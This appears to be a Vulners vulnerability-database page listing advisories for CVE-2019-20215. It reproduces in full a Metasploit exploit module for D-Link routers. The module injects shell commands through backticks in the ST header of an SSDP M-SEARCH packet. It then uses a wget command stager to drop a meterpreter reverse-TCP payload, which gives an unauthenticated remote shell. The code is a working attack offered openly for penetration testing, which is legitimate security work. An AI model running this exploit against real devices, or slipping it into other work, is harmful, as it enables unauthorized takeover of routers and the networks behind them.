D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi Exploit | 10 Feb 202000:00 | – | zdt | |
| Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform | 8 Dec 202020:38 | – | gitee | |
| HTTP_ST Component Command Execution | 20 Mar 202000:00 | – | bdu_fstec | |
| CVE-2019-20215 | 29 May 201815:50 | – | circl | |
| D-Link DIR-859 ssdpcgi() M-SEARCH arbitrary command execution vulnerability (CNVD-2020-13689) | 4 Feb 202000:00 | – | cnvd | |
| D-Link DIR-859 Remote Code Execution (CVE-2019-20215) | 21 May 202000:00 | – | checkpoint_advisories | |
| CVE-2019-20215 | 29 Jan 202002:23 | – | cve | |
| CVE-2019-20215 | 29 Jan 202002:23 | – | cvelist | |
| DLink DIR-859 1.05 & 1.06B01 Multiple Vulnerabilities (RCE) | 22 Dec 202300:00 | – | nessus | |
| D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit) | 10 Feb 202000:00 | – | exploitdb |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager
include Msf::Module::Deprecated
deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
'Description' => %q{
D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
},
'Author' => [
's1kr10s',
'secenv'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-20215'],
['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
],
'DisclosureDate' => '2019-12-24',
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget',
'RPORT' => '1900'
},
'Targets' => [
[ 'Auto', {} ],
],
'CmdStagerFlavor' => %w[echo wget],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
Msf::OptEnum.new('VECTOR', [true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
]
)
end
def exploit
execute_cmdstager(linemax: 1500)
end
def execute_command(cmd, _opts)
type = datastore['VECTOR']
if type == 'URN'
print_status('Target Payload URN')
val = "urn:device:1;`#{cmd}`"
else
print_status('Target Payload UUID')
val = "uuid:`#{cmd}`"
end
connect_udp
header = "M-SEARCH * HTTP/1.1\r\n"
header << "Host:239.255.255.250: #{datastore['RPORT']}\r\n"
header << "ST:#{val}\r\n"
header << "Man:\"ssdp:discover\"\r\n"
header << "MX:2\r\n\r\n"
udp_sock.put(header)
disconnect_udp
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Dec 2019 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.8
CVSS 210
EPSS0.75105